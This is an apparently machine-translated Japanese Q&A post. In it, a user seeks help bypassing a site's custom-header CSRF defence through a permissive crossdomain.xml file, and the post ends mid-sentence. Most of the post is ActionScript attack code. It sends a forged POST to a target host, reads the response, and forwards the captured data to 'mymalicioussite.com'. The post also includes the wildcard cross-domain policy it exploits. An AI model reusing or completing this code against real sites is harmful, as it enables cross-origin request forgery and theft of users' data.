弱いCrossDomain.xmlを持つターゲットを持っていますが、カスタムHTTPヘッダーの1つを見てCSRF攻撃を防ぎます。私はいくつかのウェブサイト上でactionscriptの後に見つけましたが、それはヘッダーを設定しないという点を除いて完全に動作します。弱いCrossDomain.xml経由でActionScriptを使用したバイパス
このActionScriptは 'Target.htm' にPOSTリクエストを送信し、私はそれが任意のカスタムヘッダーを設定する必要があり、テスト・ヘッダーを言う:ターゲットの
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;
public class FlashTest extends Sprite {
public function FlashTest() {
// write as3 code here..
//Target URL
var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
var readFrom:String = "http://192.168.100.4/Target.htm";
var readRequest:URLRequest = new URLRequest(readFrom);
readRequest.data = "ThisDoesNotMatter"
readRequest.method = URLRequestMethod.POST
readRequest.requestHeaders.push(header);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try
{
getLoader.load(readRequest);
}
catch(error:Error)
{
}
}
private function eventHandler(event:Event):void
{
var sendTO:String = "http://mymalicioussite.com";
var sendRequest:URLRequest = new URLRequest(sendTO);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try
{
sendLoader.load(sendRequest);
}
catch(error:Error)
{
}
}
}
}
のcrossdomain.xml:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="true" />
</cross-domain-policy>
ご協力いただければ幸いです。 POSTではなくGET要求の作業コードも、ターゲットがGET要求とPOST要求の両方を受け入れるため、動作します。私の知る限り、カスタムヘッダーの設定はPOSTリクエストでのみ許可されていますが、標準のHTTPヘッダーを使用したGETリクエストは少なくとも今のところ私にとってはうまくいくでしょう。また
が、これは場合にのみ機能します: